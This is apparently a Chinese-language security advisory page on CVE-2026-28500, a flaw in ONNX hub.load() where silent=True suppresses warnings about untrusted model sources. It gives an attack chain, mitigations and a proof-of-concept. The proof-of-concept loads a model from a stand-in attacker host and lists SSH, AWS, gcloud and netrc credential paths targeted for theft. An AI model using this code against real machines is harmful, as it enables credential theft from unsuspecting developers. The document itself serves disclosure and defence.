IPBUF安全漏洞报告
English
CVE-2026-28500 CVSS 8.6 高危

CVE-2026-28500: ONNX Hub.load() 安全控制绕过漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-28500
漏洞类型
安全控制绕过
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open Neural Network Exchange (ONNX)

相关标签

安全控制绕过供应链攻击ONNX机器学习安全零交互攻击模型加载敏感数据泄露silent参数绕过CVE-2026-28500

漏洞概述

Open Neural Network Exchange (ONNX)是一个用于机器学习互操作性的开放标准。ONNX Hub模块旨在帮助用户方便地加载预训练模型,其设计初衷包含安全机制——当用户尝试从非官方来源加载模型时,系统会发出安全警告和确认提示。然而,在ONNX 1.20.1及之前版本中,存在一个严重的安全控制绕过漏洞。onnx.hub.load()函数提供了一个silent参数,当设置为True时,会完全压制所有安全警告和确认提示。这一设计缺陷使得攻击者可以将一个标准化的模型加载功能转变为零交互供应链攻击向量。攻击者可以通过诱骗受害者加载恶意模型文件,结合目标系统的文件系统漏洞,静默地窃取敏感文件,包括SSH密钥、云计算凭证等。攻击过程无需受害者任何交互,可在模型加载的瞬间完成敏感数据外泄。截至漏洞披露时,尚无可用的补丁版本。

技术细节

漏洞根源在于onnx.hub.load()函数的silent参数设计不当。该参数本应用于控制日志输出级别,但实现中存在逻辑缺陷,导致silent=True时完全绕过了安全验证机制。具体来说:1) 函数内部在加载模型前会检查模型来源是否为官方信任仓库;2) 当检测到非官方来源时,函数应触发安全警告并要求用户确认;3) silent=True参数使得所有warning和prompt被无条件压制,包括安全相关的警告;4) 攻击者可以构造一个恶意的ONNX模型文件,通过各种渠道分发(如PyPI、GitHub releases、钓鱼网站等);5) 受害者使用silent=True调用load()时,系统静默加载恶意模型,触发恶意代码执行;6) 恶意代码可利用文件路径遍历或符号链接等手法,结合受害者机器上的文件系统权限,访问SSH密钥(~/.ssh/)、云凭证(~/.aws/、~/.config/gcloud/)等敏感文件并外传。整个攻击过程对受害者完全透明,无任何告警或交互提示。

攻击链分析

STEP 1
步骤1: 准备阶段
攻击者准备恶意ONNX模型文件,其中嵌入恶意代码。该代码在模型加载时执行,负责文件外泄逻辑。
STEP 2
步骤2: 分发阶段
攻击者将恶意模型托管在第三方服务器、PyPI包或钓鱼网站中,等待受害者下载。也可通过社交工程诱导受害者添加恶意模型源。
STEP 3
步骤3: 诱导加载
攻击者诱骗受害者使用onnx.hub.load()并传入silent=True参数加载恶意模型。受害者可能不知情地使用了包含silent=True的代码或脚本。
STEP 4
步骤4: 静默执行
由于silent=True参数,所有安全警告被完全压制,受害者不会看到任何告警。恶意模型被正常加载,嵌入的代码开始执行。
STEP 5
步骤5: 敏感数据窃取
恶意代码利用文件路径遍历或符号链接等手法,结合受害者机器的文件系统权限,访问~/.ssh/、~/.aws/、~/.config/gcloud/等敏感目录。
STEP 6
步骤6: 数据外传
窃取的SSH密钥、云凭证、API tokens等敏感数据通过HTTP请求、DNS隧道或其他隐蔽通道传输到攻击者控制的服务器。
STEP 7
步骤7: 持久化(可选)
攻击者可能利用窃取的凭证进一步横向移动,访问云资源、GitHub仓库或其他敏感系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import onnx import os # 恶意模型构造示例(概念验证) # 攻击者可以通过以下方式利用此漏洞 # PoC 1: 加载恶意模型(silent=True绕过警告) try: # 攻击者托管的恶意模型URL或本地路径 malicious_model_path = "http://attacker-server/malicious_model.onnx" # silent=True完全压制安全警告,这是漏洞的核心 model = onnx.hub.load( repo_or_file=malicious_model_path, model_name="malicious_model", silent=True # 绕过所有安全警告 ) print("Model loaded successfully (attack executed)") except Exception as e: print(f"Error: {e}") # PoC 2: 模拟恶意模型加载后的文件外泄 def exfiltrate_sensitive_files(): """ 模拟攻击者利用漏洞窃取敏感文件 实际攻击中这些操作会被嵌入到恶意ONNX模型加载逻辑中 """ sensitive_paths = [ os.path.expanduser("~/.ssh/id_rsa"), os.path.expanduser("~/.ssh/id_ed25519"), os.path.expanduser("~/.aws/credentials"), os.path.expanduser("~/.config/gcloud/application_default_credentials.json"), os.path.expanduser("~/.netrc"), ] for path in sensitive_paths: if os.path.exists(path): print(f"[ATTACK] Found sensitive file: {path}") # 实际攻击中会读取文件内容并外传 # PoC 3: 检测漏洞存在性 def check_vulnerability(): """ 检测当前ONNX版本是否存在silent参数绕过漏洞 """ import inspect from onnx import hub load_signature = inspect.signature(hub.load) if 'silent' in load_signature.parameters: print("[VULN] silent parameter exists - vulnerable to CVE-2026-28500") return True return False

影响范围

ONNX <= 1.20.1
onnx.hub.load() with silent parameter in affected versions

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 全面审计代码库,移除所有onnx.hub.load()调用中的silent=True参数;2) 禁止从非官方来源加载ONNX模型,仅使用经过安全验证的模型文件;3) 对第三方ONNX模型实施隔离加载策略,在容器化或沙箱环境中执行模型加载操作;4) 部署文件系统监控,检测异常的SSH密钥、云凭证访问行为;5) 对开发环境实施网络隔离,限制敏感文件的外传通道;6) 考虑使用AppArmor、SELinux或seccomp等强制访问控制机制限制ONNX进程的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表